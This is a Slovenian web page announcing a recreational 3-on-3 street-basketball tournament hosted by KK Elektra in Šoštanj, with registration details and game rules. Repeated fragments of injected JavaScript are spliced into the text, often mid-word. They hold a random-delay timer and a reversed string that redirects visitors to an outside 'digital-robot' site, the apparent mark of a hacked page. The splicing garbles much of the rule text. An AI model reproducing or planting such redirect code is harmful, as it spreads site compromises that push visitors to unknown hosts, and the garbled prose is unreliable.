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SOBOTA,
21. september, 10.00
Rekreativni turnir ekip (3+1) v košarki
Športna
dvorana Šoštanj
Košarkarski
klub Elektra
PRIJAVE
POŠLJITE NA: Tomaž Sinigajda 031/429-319
ali dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}maz.siingajda@kk-elektra.si
ROK
PRIJAV: četrtek: 20.9.2013 do 13.00!
PRIJAVNINA: 0 EUR oz brezplačno
NAGRADE: vsak udeleženec turnirja prejme spominsko
majico Športne zveze Šoštanj – dnevi rekreacije 2013, zmagovalna ekipa prejme
simbolične nagrade, ki jih podarja KK Elektra.
PRAVILA
IGRANJA Ulična košarka je igra dveh trojk na en koš.
Pravica nasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}pa Imajo lahko vsi registrirani igralci v državnih ligah in drugi ljubitelji
ulične košarke.
Način
tekmovanja na turnirju Ekipe so razvrščene po starosti v dve kategoriji. Tekmovanje na turnirju je
razdeljeno na dva dela. V prvem se ekipe razvrstijo v ustrezno število
skupin, v katerih se vsaj zmagovalna ekipa uvrsti v nadaljnje tekmovanje, ki
poteka po izločilnem sistemu. Vsaka ekipa odigra v skupini najmanj dve
tekmi. Sistem tekmovanja je odvisen od števila prijavljenih ekip in se
lahko spremeni pred pričetkom tekmovanja.
KATEGORIJE: 15+ in 35+
Sodniki Na vseh tekmah bodo pravico delili sodniki iz trenerski vrst KK Elektra.
Ekipa V ekipi lahko nasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}pijo največ štirje igralci. Ko je igralec registriran za določeno ekipo, presdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}p ali posoja v drugo ekipo
nista več mogoča.
Začetek
igre Tekma se začne z medom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}m kovanca. Ekipa, ki dobi met kovanca določi ali bo
tekmo začela s posestjo žoge ali ne. če se odloči in ne vzame posest
žoge, je upravičena do posesti žoge v podaljšku.
Igra Vsak zadetek s polja dveh dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čk šteje eno, zadetek s polja treh dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čk pa dve
dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čki. Po danem košu nadaljuje igro ekipa, ki je dosegla koš, in sicer tako,
da žogo eden od igralcev poda soigralcu v igrišče izza bočne črte. Zabijanje
je dovoljeno!
Igralni čas Igralni čas je omejen na 10 minut.
Rezultat
tekme Zmaga ekipa, ki pred iztekom igralnega časa prva doseže 21 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čk
(pod pogojem, da prednost pred nasprotno ekipo znaša vsaj dve (2)
dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čki) oz. ekipa, ki doseže več dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čk ob izteku igralnega časa. Zmaga
ekipa, ki preide v vodstvo z 11:0 ali 12:0 (»avdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}mat«)!
Bonus Ko ekipa naredi sedem (7) osebnih napak, izpolni bonus. To pomeni, da za
vsako nadaljnjo napako njeni tekmeci izvajajo en prosti met.
Osebne
napake Število napak bo omejeno na 5, pri čemer bo 5 osebna napaka izključujoča. V
primeru tehnične napake nasprotna ekipa izvaja prosti met in nadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} obdrži
žogo.
Urnik
tekmovanja Vsaka ekipa, ki sodeluje na turnirju, prejme pravila tekmovanja in mora sama
slediti poteku tekmovanja.
Končne
določbe Vse nesporazume med turnirjem rešuje vodstvo tekmovanja. Njegova določila so
dokončna.
Vsak
igralec igra na lastno odgovornost!
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